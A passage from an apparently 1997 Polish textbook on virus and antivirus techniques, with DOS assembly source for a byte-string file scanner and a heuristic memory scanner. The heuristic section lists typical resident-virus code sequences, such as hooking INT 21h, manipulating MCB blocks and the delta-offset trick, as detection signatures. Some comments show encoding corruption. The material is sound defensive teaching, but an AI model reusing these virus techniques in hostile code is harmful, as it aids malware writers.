PrzywrocParametrySystemu proc near ; przywraca stare adresy DTA+Int 24h ; i ewentualnie atrybuty pliku ; (jezeli sytemowy, ukryty) pushf ; zachowaj flagi z ew. bledem cmp ZmienAtrPliku,Prawda ; czy przywrocic atrybut ? jne NiePrzywracajAtrybutu ; skocz jesli nie mov ax,4301h ; DOS: funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr. pliku xor ch,ch ; ch=0 mov cl,[BufDTA.Atrybut] ; cx=stare atrybuty mov dx,Offset NazwaPliku ; DS:DX =nazwa pliku int 21h ; DOS : zmien atrybuty NiePrzywracajAtrybutu: push ds ; zachowaj segment danych push ds ; 2 razy -> na pozniej lds dx,dword ptr [StareI24Ofs] ; przywroc stara obsluge bledow mov ax,2524h ; ustaw Int 24h int 21h ; funkcja 25h - ustaw wektor (numer w AL) pop ds ; przywroc segment danych lds dx,dword ptr [StareDTAOfs] ; przywroc stare DTA mov ah,1Ah ; funkcja 1Ah - ustaw DTA int 21h ; wywolaj funkcje pop ds ; przywroc segment danych popf ; przywroc znaczniki z ew. bledem ret ; powrot z procedury PrzywrocParametrySystemu endp ;------------------------------------------------------------------- UstawParametrySystemu proc near ; ustaw obsluge przerwania 24h ; nowy bufor DTA mov ax,seg SKANER mov ds,ax ; DS=segment danych mov MojAdresPSP,es ; zachowaj PSP mov ax,3524h ; funkcja wez adres przerwania (num. w AL) int 21h ; wez stare INT 24h do rejestrow ES:BX mov StareI24Ofs,bx ; - zachowaj stare przerwanie mov StareI24Seg,es ; / ES=segment, BX=offset mov ah,2Fh ; wez stare DTA do rejestrow ES:BX int 21h mov StareDTAOfs,bx mov StareDTASeg,es ; ES=segment, BX=ofset mov dx,Offset BufDTA mov ah,1Ah ; ustaw nowe DTA na adres zawarty w DS:DX int 21h push ds ; zachowaj DS push cs ; -DS=CS pop ds ; / mov dx,offset NoweInt24 ; ustaw nowe przerwanie 24h mov ax,2524h ; w DS:DX int 21h pop ds ; przywroc DS ret ; powrot z procedury UstawParametrySystemu endp ;------------------------------------------------------------------- NoweInt24 proc near ; procedura obslugi przerwania programowego bledow ; krytycznych wywolywana przez DOS w razie bledu push ds ; \ push ax ; -zachowaj DS i AX mov ax,seg SKANER mov ds,ax ; ds=segment danych mov NumerBledu,BlBlad_ARIF ; zachowaj numer bledu pop ax ; \ pop ds ; -przywroc DS i AX mov al,3 ; pomin blad-program sam zadecyduje co dalej iret ; nie wywoluj standardowego dialogu ARIF NoweInt24 endp ; powrot z procedury obslugi przerwania programowego ;------------------------------------------------------------------- SprawdzPlik proc near ; szukaj plik podany jako parametr mov ZmienAtrPliku,Falsz ; na razie nie znamy atrybutow, wiec nie trzeba ; przywracac oryginalnych mov NumerBledu,BlBrakPlikuNaDysku ; ustaw ew. numer bledu mov ah,4Eh ; funkcja szukaj pozycji katalogu mov dx,offset NazwaPliku ; DS:DX nazwa pliku mov cx,AtAll ; w CX podaj atrybut szukanej pozycji int 21h ; wywolaj funkcje jc NieMaPliku ; gdy CF=1, to blad mov si,offset BufDTA ; nie ma bledu , info o pliku jest w buforze DTA mov al,[BufDTA.Atrybut] ; wez atrybut pliku mov NumerBledu,BlZlyAtrybutPliku ; ewent. blad test al,AtVolumeID+AtDirectory ; sprawdz, czy etykieta lub katalog (testuj bity) stc ; ustaw ewent. blad jnz NieMaPliku ; skocz, bo etykieta lub dysk test al,AtHidden+AtSystem ; testuj bity : ukryty lub system mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad jz NieZmienAtr ; nie sa ustawione, to skocz dalej mov ZmienAtrPliku,Prawda ; trzeba zmienic atrybut, zeby mozna bylo odczytac mov ax,4301h ; funkcja ustaw atrybut pliku mov cx,AtArchive ; cx=atrybyt jaki ustawic mov dx,Offset NazwaPliku ; DS:DX nazwa pliku int 21h ; wywolaj funkcje jc NieMaPliku ; gdy CF=1, to blad NieZmienAtr: clc ; nie ma bledu, plik gotowy do odczytu NieMaPliku: ret ; wroc z procedury SprawdzPlik endp ;------------------------------------------------------------------- CzytajParametry proc near ; wez parametry z PSP:80h push ds ; zachowaj DS mov ax,ds ; ES=DS=segment z danymi mov es,ax mov ds,MojAdresPSP ; DS=blok PSP mov si,LiniaPolecen ; ofset w PSP do linii polecen mov es:NumerBledu,BlBrakParametrow ; ewentualny numer bledu cmp byte ptr ds:[si],0 ; dlugosc linii polecen je BladParametrow ; jezeli pusta, to nie ma parametrow inc si ; pomin licznik inc si ; pomin spacje cld ; INC(SI,DI) w oper. na lancuchach Call OpuscSpacje ; czytaj az znak <> SPACJA lub TAB mov es:NumerBledu,BlBrakNazwyPliku ; ewentualny numer bledu cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ? je BladParametrow ;- jesli tak, to powrot z procedury mov di, offset NazwaPliku ; es:di : tu zapisz wyniki Call KopiujDoSpacji ; kopiuj nazwe pliku mov es:NumerBledu,BlBrakCiagu ; ewentualny numer bledu cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ? je BladParametrow ;- jesli tak, to powrot z procedury xor al,al ; plik ASCIIZ, wiec dodaj zero stosb Call OpuscSpacje ; czytaj az znak <>SPACJA lub TAB cmp al,ZnakKoncaLinii ; czy koniec parametrow je BladParametrow ; jesli tak, to blad mov es:NumerBledu,BlZlyCiag ; ewentualny numer bledu mov di, offset Ciag ; es:di : tu zapisz ciag Call KopiujCiagDoKonca ; kopiuj parametr : ciag jc BladParametrow ; jesli TAK, to blad mov ax,di sub ax,offset Ciag jz BladParametrow ; jesli TAK, to lancuch pusty mov es:DlugoscCiagu ,ax ; - zachowaj dlugosc ciagu mov es:AbsDlugoscCiagu ,ax ; - zachowaj 2-i raz dlugosc ciagu clc ; nie ma bledu jmp short $+3 ; skocz i pomin rozkaz STC BladParametrow: stc ; jest blad pop ds ret ; wroc z procedury CzytajParametry endp ;------------------------------------------------------------------- OpuscSpacje proc near lodsb ; czytaj znak z ds:[si], inc si cmp al,ZnakSpacji ;\ je OpuscSpacje ; \ czy spacja lub znak tabulacji ? cmp al,ZnakTabulacji ; / jezeli tak, to czytaj nastepny znak je OpuscSpacje ;/ dec si ; zmniejsz wskaznik na poprzedni znak ret ; powroc z procedury OpuscSpacje endp ;------------------------------------------------------------------- KopiujDoSpacji proc near KopiujZnak: lodsb ; czytaj znak z ds:[si], inc si cmp al,ZnakSpacji ;\ je NieKopiuj ; \ czy spacja lub znak tabulacji cmp al,ZnakTabulacji ; \lub koniec linii polecen je NieKopiuj ; /jezeli tak, to koncz kopiowanie cmp al,ZnakKoncaLinii ; / je NieKopiuj ;/ stosb ; skopiuj znak jmp short KopiujZnak ; skocz i wez nastepny znak NieKopiuj: dec si ; zmniejsz wskaznik na poprzedni znak ret ; powroc z procedury KopiujDoSpacji endp ;------------------------------------------------------------------- KopiujCiagDoKonca proc Pa_Nic = 00 Pa_Apostrof = 01 mov bl,Pa_Nic ; nie bylo znaku specjalnego mov bh,0 KopiujParamZnak: lodsb ; czytaj znak z ds:[si], inc si cmp bl,Pa_Apostrof ; czy tekst w apostrofach ? jne ZwyklyTekst ; NIE - dane heksalne cmp al,39 ; czy znak apostrofu ? jne NieKoniecTekstu ; Nie - idz dalej mov bl,Pa_Nic ; koniec tekstu w apostrofach jmp KopiujParamZnak ; idz po kolejny znak NieKoniecTekstu: stosb ; kopiuj zwykly tekst jmp KopiujParamZnak ; wez kolejny znak ZwyklyTekst: cmp al,39 ; czy apostrof poczatkowy jne NiePoczatektekstu ; NIE - sprawdzaj dalej mov bl,Pa_Apostrof ; ustaw flage jmp KopiujParamZnak ; idz po nastepny znak NiePoczatektekstu: cmp al,ZnakKoncaLinii ; \ pomin, gdy znak=CR je KoniecParamTekstu ; / cmp al,ZnakSpacji ; \ pomin, gdy znak=spacja je KopiujParamZnak ; / cmp al,ZnakTabulacji ; \ pomin, gdy znak=TAB je KopiujParamZnak ; / cmp al,'0' ; czy znak >=0 ? jb KoniecParamTekstuBlad ; < blad cmp al,'9' ; czy znak 0..9 ? jbe ToCyfra09 ; TAK - cyfra and al,0DFh ; 'a'..'z'->'A'..'Z' cmp al,'A' ; czy znak <'A' ? jb KoniecParamTekstuBlad ; TAK - blad cmp al,'F' ; czy znak >'F' ? ja KoniecParamTekstuBlad ; TAK - blad ; znak '0'..'F' ToCyfra09: cmp bh,0 ; czy licznik znakow=0 ? je ToPierwszyZnak ; TAK - zachowaj znak na pozniej cmp al,'9' ; czy znak to cyfra ? jbe ALJest09 ; sub al,'A'-'0'-10 ; konwertuj na liczbe ALJest09: cmp ah,'9' ; czy drugi znak to cyfra ? jbe AHJest09 sub ah,'A'-'0'-10 ; konwertuj na liczbe AHJest09: sub ax,'00' ; \ mov bh,al ; \ konwersja liczby mov al,16 ; \ heksalnej zapisanej mul ah ; / jako lancuch, na zwykla add al,bh ; / liczbe (znak ASCII) stosb ; / i zapisz znak mov bh,0 ; licznik znakow znow=0 mov bl,Pa_Nic ; "czyste" wyjscie jmp KopiujParamZnak ; wez nastepny znak ToPierwszyZnak: mov ah,al ; zachowaj pierwszy znak liczby mov bh,1 ; jest juz jeden znak jmp KopiujParamZnak ; idz po nastepny znak KoniecParamTekstu: cmp bx,Pa_Nic ; czy "czyste" wyjscie ? je KoniecParamTekstu2 ; jezeli nie, to blad dec si ; zmniejsz wskaznik na poprzedni znak KoniecParamTekstuBlad: stc ; gdy CF=1, to nie ma bledu jmp $+3 ; przeskocz 'CLC' KoniecParamTekstu2: clc ; gdy CF=0, to nie ma bledu ret ; powrot z procedury KopiujCiagDoKonca endp ;------------------------------------------------------------------- DrukLn proc near ; drukowanie tekstu ACSIIZ spod DS:SI ; z przejsciem do nastepnej linii Call Druk ; wydrukuj tekst push si ; \ mov si,Offset TeCRLF ; \ Call Druk ; \ pop si ; --- przejdz do nastepnej linii ret ; powrot z procedury DrukLn endp ;------------------------------------------------------------------- Druk proc near ; drukowanie tekstu ACSIIZ spod DS:SI push ax ; \ push bx ; \ push cx ; \ push si ; --- zachowaj zmieniane rejestry DrukZnak: ; petla drukowania jednego znaku cmp si,offset CiagStart ; \ jb ToNieParamtekst ; \ jezeli drukowany jest cmp si,offset CiagKoniec ; \ w obszarsze lancucha 'CiagBajtow' jae ToNieParamtekst ; \ to pozwol drukowac kazdy znak mov cx,AbsDlugoscCiagu ; \ add cx,offset CiagStart ; / cmp si,cx ; / jae KoniecDruku ; / lodsb ; / jmp short ToParamtekst ; / ToNieParamtekst: lodsb ; wez kolejny znak z lancucha or al,al ; sprawdz, czy ostatni znak ? jz KoniecDruku ; jesli tak, to wszystko wydrukowane mov cx,IleWrostkow ; Ile zdefiniowanych wrostkow mov bx,Offset TablicaWrostkow ; tablica z definicjami SzukajWrostka: ; -sprawdz, czy al nie oznacza wrostka cmp ds:[bx],al ; / jne NastepnyWrostek ; jesli nie, to sprawdz nastepny w tablicy test al,80h ; czy 7 bit ustawiony ? jz NormalnyDruk ; nie - to ofset do tekstu Call ds:[bx+1] ; tak - to procedura konwersji xor al,al ; zeruj dla pozniejszego porownania inc si ; - pomin ofset do liczby do konwrsji inc si ; / jmp short NastepnyWrostek ; sprawdz nastepny wrostek w tablicy NormalnyDruk: push si ; wrostek to tekst spod ofsetu w tablicy mov si,ds:[bx+1] ; wrostkow Call Druk ; wyswietl wrostek pop si xor al,al ; zeruj dla pozniejszego porownania NastepnyWrostek: add bx,3 ; zwieksz index do tablicy wrostkow loop SzukajWrostka ; powtorz cx razy or al,al ; czy to byl wrostek (al=0) ? jz DrukZnak ; jesli tak, to wez nastepny znak ToParamtekst: mov ah,02h ; wyprowadz znak na mov dl,al ; standardowe wyjscie DOSa int 21h jmp short DrukZnak ; skocz i wez nastepny znak lancucha KoniecDruku: pop si ; --- przywroc zmienione rejestry pop cx ; / pop bx ; / pop ax ; / ret ; wracaj Druk endp ;------------------------------------------------------------------- Bin2HexUnInt32 proc near ; procedura wyswietla 32 bitowa liczbe szesnastkowa ; ofset do liczby znajduje sie w si push ax ; \ push bx ; \ push dx ; \ push si ; --- zachowaj zmieniane rejestry mov bx,[si] ; wez ofset do liczby 32 bitowej mov ax,[bx] ; - wczytaj liczbe do DX:AX mov dx,[bx+2] ; / mov si,offset Hex2DecBufor ; ustaw na poczatek bufora mov bx,offset HexChars ; wez ofset do tablicy z cyframi szesnastkowymi push ax ; zapamietaj mniej znacz. slowo mov ax,dx ; najpierw bar. znacz. slowo Call Bin2HexUnInt16 ; konwertuj liczbe 16 bitowa pop ax ; przywroc mniej znacz. slowo Call Bin2HexUnInt16 ; terax mniej znacz. slowo mov word ptr [si],'h' ; ustaw na koncu znak 'h' i 0 mov si,offset Hex2DecBufor ; - wyswietl liczbe Call Druk ; / pop si ; --- przywroc zmienione rejestry pop dx ; / pop bx ; / pop ax ; / ret ; powrot Bin2HexUnInt16: ; wewnetrzna procedura wywoluje "zstepujaco" ; kolejne nizsze ranga procedury konwersji push ax mov al,ah ; konwertuj b. znacz. czesc AX Call Bin2HexUnInt8 pop ax ; konwertuj m. znacz. czesc AX Bin2HexUnInt8: mov ah,al shr al,1 ; \ shr al,1 ; \ wyizoluj 4 bity (4..7) shr al,1 ; / al=gorna polowa liczby shr al,1 ; / szesnastkowej Call Bin2HexUnInt4 ; konwertuj b. znacz. bity (4..7) mov al,ah and al,15 ; wyizoluj 4 bity (0..3) Bin2HexUnInt4: xlatb ; al=byte ptr ds:[bx+al] mov [si],al ; zachowaj znak w buforze inc si ; zwieksz indeks ret ; powrot z wen. procedury Bin2HexUnInt32 endp ;------------------------------------------------------------------- Bin2DecUnInt32 proc near ; wyswietla liczbe 32 bitowa bez znaku dziesietnie push ax ; \ push bx ; \ push dx ; \ push si ; --- zachowaj zmieniane rejestry mov si,[si] ; wez ofset do liczby 32 bitowej mov ax,[si] ; - wczytaj liczbe do DX:AX mov dx,[si+2] ; / mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca mov byte ptr ds:[si],0 ; utworz ASCIIZ (dodaj zero na koncu) DzielPrzez10: mov bx,10 ; dziel DX:AX przez BX Call Dziel32 ; w bx reszta z dzielenia add bl,'0' ; dodaj ASCII "0" dec si ; zmniejsz indeks do tablicy mov byte ptr ds:[si],bl ; zapisz cyfre or dx,dx ; \ jnz DzielPrzez10 ; \ or ax,ax ; \ jnz DzielPrzez10 ; --- czy liczba jest juz 0 ? Call Druk ; wyswietl lancuch z liczba po konwersji pop si ; --- przywroc zmienione rejestry pop dx ; / pop bx ; / pop ax ; / ret ; powrot Bin2DecUnInt32 endp ;------------------------------------------------------------------- Dziel32 proc near ; dziel (dx:ax)/bx push bp ; zachowaj bp push ax ; zachowaj mniejsza czesc liczby 32 bitowej mov ax,dx ; przenies b. znacz. czesc do mniej. znacz. xor dx,dx ; i wyzeruj dx , dx:ax = > 0:dx div bx ; podziel (0:dx)/bx mov bp,ax ; calosc z dzielenia, to wieksza czesc wyniku pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku div bx ; dx jest reszta z dzielenia b. znacz. czesci przez BX mov bx,dx ; w bx reszta z dzielenia mov dx,bp ; dx:ax=liczba podzielona przez bx, pop bp ; a w bx reszta z dzielenia ret Dziel32 endp ;------------------------------------------------------------------- ; (teksty komunikatow+zmienne ogolne) ;------------------------------------------------------------------- TeCopyRight db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,' Wywolanie: SKANER NazwaPliku CiagBajtow' db CR,LF db CR,LF,' CiagBajtow moze skladac sie z liczb zapisanych heksalnie lub zwyklego' db CR,LF,' tekstu np: ' db CR,LF,' _ CD 21 - szuka wywolania przerwania 21h' db CR,LF,' _ ''wirus'' - szuka slowa "wirus"' db CR,LF,' _ ''abc''80C5''def''EE F6 - szuka lancucha "abcă+def_¸"' TeCRLF db CR,LF,0 TeSzukamCiagu db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0 TeBezBledu db 'OK !',0 TeBrakParametrow db 'BLAD : Podaj Parametry !',0 TeBrakNazwyPliku db 'BLAD : Podaj nazwe pliku !',0 TeBrakCiagu db 'BLAD : Podaj ciag do wyszukania',0 TeZlyCiag db 'BLAD : Podany ciag zawiera bledy !',0 TeBrakPlikuNaDysku db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0 TeBlad_ARIF db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) !',0 TeZlyAtrybutPliku db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog !',0 TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo zmienic atrybutow ! ',0 TeNieMogeOtworzyc db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0 TeNieMogeCzytac db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0 TeNieMogeZamknac db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0 TePlikZaKrotki db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0 OffsetyKomunikatow dw offset TeBezBledu ; BlBezBledu equ 00h dw offset TeBrakParametrow ; BlBrakParametrow equ 01h dw offset TeBrakNazwyPliku ; BlBrakNazwyPliku equ 02h dw offset TeBrakCiagu ; BlBrakCiagu equ 03h dw offset TeZlyCiag ; BlZlyCiag equ 04h dw offset TeBrakPlikuNaDysku ; BlBrakPlikuNaDysku equ 05h dw offset TeBlad_ARIF ; BlBlad_ARIF equ 06h dw offset TeZlyAtrybutPliku ; BlZlyAtrybutPliku equ 07h dw offset TeBrakDostepuDoPliku ; BlBrakDostepuDoPliku equ 08h dw offset TeNieMogeOtworzyc ; BlNieMogeOtworzyc equ 09h dw offset TeNieMogeCzytac ; BlNieMogeCzytac equ 0Ah dw offset TeNieMogeZamknac ; BlNieMogeZamknac equ 0Bh dw offset TePlikZaKrotki ; BlPlikZaKrotki equ 0Ch TeNieZnalazlem db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku "',DrPlik,'" !',0 TeZnalazlem db 'Ciag "',DrCiag ,'" wystapil ' db DrUnIntDec dw offset IleZnalezionych db ' raz(y) w pliku "',DrPlik,'" !',0 TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji ' db DrUnIntHex dw offset AdresZnalezienia db ',' db DrUnIntDec dw offset AdresZnalezienia db 0 HexChars db '0123456789ABCDEF' TablicaWrostkow db DrPlik dw offset NazwaPliku db DrCiag dw offset Ciag db DrUnIntDec dw offset Bin2DecUnInt32 db DrUnIntHex dw offset Bin2HexUnInt32 NumerBledu db ? MojAdresPSP dw ? AdresCzytania dd ? AdresZnalezienia dd ? Przeczytane dw ? IleZnalezionych dd ? DlugoscCiagu dw ? AbsDlugoscCiagu dw ? StareDTAOfs dw ? StareDTASeg dw ? StareI24Ofs dw ? StareI24Seg dw ? ZmienAtrPliku db ? Hex2DecBufor db 11 dup(?) CiagStart: Ciag db RozmiarCiagu dup(?) CiagKoniec: NazwaPliku db DlugNazwyPliku dup(?) BufDTA DTA_STRUC <> SKANER ENDS ;------------------------------------------------------------------- ; Segment DTA ; do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow) ;------------------------------------------------------------------- ProgDTA SEGMENT BuforDanych db RozmiarBuforaDanych dup(?) ; bufor na dane z pliku ProgDTA ENDS ;------------------------------------------------------------------- ; Segment Stosu ;------------------------------------------------------------------- ProgStos segment word stack 'STACK' ; ustaw STOS dw RozmiarStosu dup(?) ProgStos ends end start 12.2. Heurystycze wyszukiwanie wirusów Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki, stąd techniki wykorzystywane w pierwowzorach są bez większych zmian implementowane w kolejnych, nowych pokoleniach wirusów. Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach, można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik, zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb krokowy, emulacja procesora). CMP AX, 4B00h ; sprawdč czy jest uruchamiany jakiť program ; 3D,00,4B kod maszynowy rozkazu CMP DS:[0],Z ; czy ostatni blok pamiŕci ; 80,3E,00,00, 5A kod maszynowy rozkazu MOV AX, 2521h ; funkcja DOS ustaw adres przerwania 21h INT 21h ; wywo-aj funkcjŕ B8,21,25,CD,21 kod maszynowy ; sekwencji MOV WORD PTR [l],0008 ; ustaw blok jako systemowy w nag-ˇwku MCB ; C7,06,01,00,08,00 kod maszynowy instrukcji CALL NEXT ; weč relatywny offset NEXT: ; E8,00,00 kod instrukcji Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane przez wirusy. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; HEUR v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program przeglada bloki MCB obecne w systemie i poszukuje w ; ; nich kilku standardowo wystepujacych w wirusach sekwencji ; ; Przy jego uzyciu mozna wykryc w pamieci niektore wirusy ; ; rezydetne ; ;----------------------------------------------------------------------------; ; Dane techniczne ; ;----------------------------------------------------------------------------; ; ; ; Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po ; ; uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu ; ; Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub ; ; buforach programow cache (np. SMARTDRV) ; ; ; ; Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0) ; ; ;; ;; ;; ;----------------------------------------------------------------------------; JUMPS HEUR SEGMENT ORG 100h ASSUME CS:HEUR, DS:HEUR NUL = 00h ; \ LF = 0Ah ; - stale znakow CR = 0Dh ; / IleSygnZebyAlarm = 10 ; okresla, ile sygnatur musi wystapic ; w badanym bloku MCB, aby potraktowac ; jego zawartosc za podejrzana ; i wyswietlic ostrzezenie DlugProgPara = (Offset Koniec-Offset Start+15)/16+10h ; okresla dlugosc programu w pamieci Sygn struc ; \ SygnNazwa db 45 dup (?) ; \ SygnDlug dw 0 ; \ Sygn00 db 0 ; \ Sygn01 db 0 ; \ Sygn02 db 0 ; \ struktura opisujaca Sygn03 db 0 ; / sygnature wirusa Sygn04 db 0 ; / Sygn05 db 0 ; / Sygn06 db 0 ; / Sygn07 db 0 ; / Sygn ends ; / DlugoscSygnatury = Size Sygn ; dlugosc struktury ;----------------------------------------------------------------------------- Start: lea si,TeCopyRight ; SI=ofset do informacji o programie Call DrukLn ; wyswietl info o programie Call SzukajHeur ; szukaj sekwencji w pamieci mov ax,4C00h ; funkcja DOS - koncz program int 21h ; wywolaj funkcje ;----------------------------------------------------------------------------- SzukajHeur: push es ax bx cx dx ; zachowaj zmieniane rejestry mov bx,IleSygnatur ; ile sygnatur do odXORowania lea si,Sygnatury ; skad pobierac sygnatury add si,size SygnNazwa+size SygnDlug ; i gdzie XORowac bajt XORujSygnature: xor byte ptr [si],0AAh ; przywroc prawdziwy bajt sygnatury add si,DlugoscSygnatury ; wez kolejna sygnature dec bx ; zmniejsz licznik sygnatur jnz XORujSygnature ; powtarzaj dla kazdej sygnatury mov IloscSygn,0 mov ax,5802h ; funkcja DOS - czy UMB dolaczone ? int 21h ; wywolaj funkcje push ax ; zachowaj informacje na pozniej mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB mov bx,1 ; sprobuj dolaczyc bloki UMB int 21h ; wywolaj funkcje mov ah,52h ; funkcja DOS - wez adres listy list LL int 21h ; wywolaj funkcje mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB NastepnyMCB: ; kolejne bloki MCB mov es,ax ; ES=MCB mov bl,byte ptr es:[0] ; zachowaj info o znaczniku bloku mov dx,es:[0003] ; DX=rozmiar bloku MCB mov cx,es:[0001] ; CX=adres PSP z bloku MCB Call SzukajWBloku stc ; +1 w dodawaniu ponizej adc ax,word ptr es:[0003] ; dodaj rozmiar bloku MCB+1 ; AX=nastepny blok MCB cmp bl,'M' ; czy to posredni blok ? je NastepnyMCB ; TAK - przegladaj cmp bl,'Z' ; czy to ostatni blok ? je OstatniBlokMCB ; TAK - zakoncz przegladanie ; zly blok MCB - naruszona struktura lea si,TeZlyMCB ; \ wyswietl komunikat Call DrukLN ; / o blednym bloku MCB OstatniBlokMCB: pop bx ; przywroc info o UMB mov bh,0 ; BX=BL mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB int 21h ; wywolaj funkcje pop dx cx bx ax es ; przywroc zmieniane rejestry cmp IloscSygn,0 ; \ jne SzukajHeurPowrot ; \ ; - jezeli nie znalazl zadnej lea si,TeNieMaSygnatur ; / sygnatury to wyswietl komunikat Call DrukLN ; / SzukajHeurPowrot: ret ; powrot ;----------------------------------------------------------------------------- SzukajWBloku: ; szuka sygnatury w bloku MCB ; AX=blok MCB ; DX=dlugosc bloku w paragrafach push ds es ax bx cx dx si di ; zachowaj zmieniane rejestry or cx,cx ; czy blok jest nieuzywany ? je SzukajWBlokuPowrot ; TAK - nie sprawdzaj i powroc mov AdresMCB,ax ; zapamietaj adres MCB inc ax ; ES:0= MCB+1:0 mov es,ax ; ES wskazuje na dane w bloku lea si,TeSprawdzam ; \ Call Druk ; \ lea si,TeBlokMCB ; \ Call Druk ; \ mov ax,AdresMCB ; \ Call DrukHEX16 ; \ wypisz info o szukaniu lea si,TeRozmiar ; / w bloku MCB i podaj jego Call Druk ; / adres, dlugosc mov ax,dx ; / Call DrukHex16 ; / lea si,TeParagraf ; / Call DrukLn ; / mov bx,cs ; \ mov ax,es ; \ czy to MCB programu HEUR ? cmp ax,bx ; / TAK-nie sprawdzaj kodu programu jne InnyBlok ; / ale sprawdz poza nim mov ax,DlugProgPara sub dx,ax ; odejmij dlugosc kodu or dx,dx ; \ czy nie odjete za duzo ? jz SzukajWBlokuPowrot ; / add ax,AdresMCB ; \ ES=dane poza kodem programu mov es,ax ; / InnyBlok: or dx,dx ; \ pomin blok, gdy dlugosc =0 je SzukajWBlokuPowrot ; / mov IloscBiezSygn,0 ; licznik wystapien w bloku cld ; SI:=SI+1, DI:=DI+1 po oper. lancuchowych xor di,di ; dane sa pod ES:0000 SzukajDalej: mov bx,IleSygnatur ; ustaw licznik sygnatur lea si,Sygnatury ; podaj, skad pobierac sygnatury SzukajSygnature: push si ; zachowaj zmieniane SI mov bp,si ; zachowaj ofset do nazwy sygnatury add si,size SygnNazwa+size SygnDlug ; dodaj ofset do sygnatury lodsb ; wez 1-szy bajt sygnatury scasb ; czy=bajt w pamieci ? jnz NastepnaSygnatura ; NIE - sprawdz kolejna sygnature ; TAK - porownaj cala sygnature mov cx,word ptr ds:[si-3] ; wez dlugosc sygnatury dec cx ; pierwszego bajtu nie trzeba ; porownywac push di ; DI jest pozniej potrzebne wiec zachowaj rep cmpsb ; porownaj sygnature z pamiecia pop di ; przywroc DI jnz NastepnaSygnatura ; NIE - nie ma sygnatury ; TAK - sygnatura znaleziona inc IloscSygn ; zwieksz ilosc wystapien (globalna) inc IloscBiezSygn ; zwieksz ilosc wystapien (w MCB) lea si,TeAdres ; \ Call Druk ; \ wyswietl jaka sygnatura mov ax,es ; \ zostala znaleziona Call DrukHEX16 ; \ i pod jakim adresem mov ax,0E3Ah ; \ int 10h ; \ mov ax,di ; \ dec ax ; / Call DrukHex16 ; / lea si,TeSygnatura ; / Call Druk ; / mov si,bp ; / add si,SygnNazwa ; / Call DrukLn ; / NastepnaSygnatura: pop si ; przywroc SI add si,DlugoscSygnatury ; i ustaw na nastepna sygnature dec di ; ustaw wskaznik na poprzedni bajt dec bx ; zmniejsz licznik sygnatur jnz SzukajSygnature ; jezeli nie, to sprawdz kolejna sygnature NastepnyBajt: inc di ; wskaznik na nastepny bajt w bloku and di,15 ; czy ofset>15 jnz SzukajDalej ; NIE - szukaj sygnatur ; TAK - zwieksz numer segmentu mov di,es ; \ inc di ; \ ES:DI=ES:0010:=ES+1:0 mov es,di ; / xor di,di ; / NieZmienSeg: dec dx ; zmniejsz ilosc paragrafow w bloku jnz SzukajDalej ; NIE - kontynuuj sprawdzanie cmp IloscBiezSygn,IleSygnZebyAlarm ; czy ilosc wykrytych sygnatur jest ; odpowiednio duza ? jb SzukajWBlokuPowrot ; NIE - powrot lea si,TePrawdopodWirus ; \ TAK - wypisz o tym komunikat Call DrukLn ; / SzukajWBlokuPowrot: pop di si dx cx bx ax es ds ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- DrukLn: push si ; zachowaj zmieniany rejestr call Druk ; wyswietl tekst z CS:SI lea si,TeCRLF ; \ i przejdz do nastepnej linii Call Druk ; / pop si ; przywroc zmieniany rejestr ret ; powrot ;----------------------------------------------------------------------------- Druk: push ax si ; zachowaj zmieniane rejestry DrukPetla: lods byte ptr cs:[si] ; wez kolejny znak tekstu or al,al ; czy NUL ? jz DrukPowrot ; TAK - koniec tekstu mov ah,0Eh ; funkcja BIOS - wyswietl znak int 10h ; wywolaj funkcje jmp short DrukPetla ; pobierz kolejny znak tekstu DrukPowrot: pop si ax ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- DrukHEX16: push ax ; zachowaj 8 dolnych bitow mov 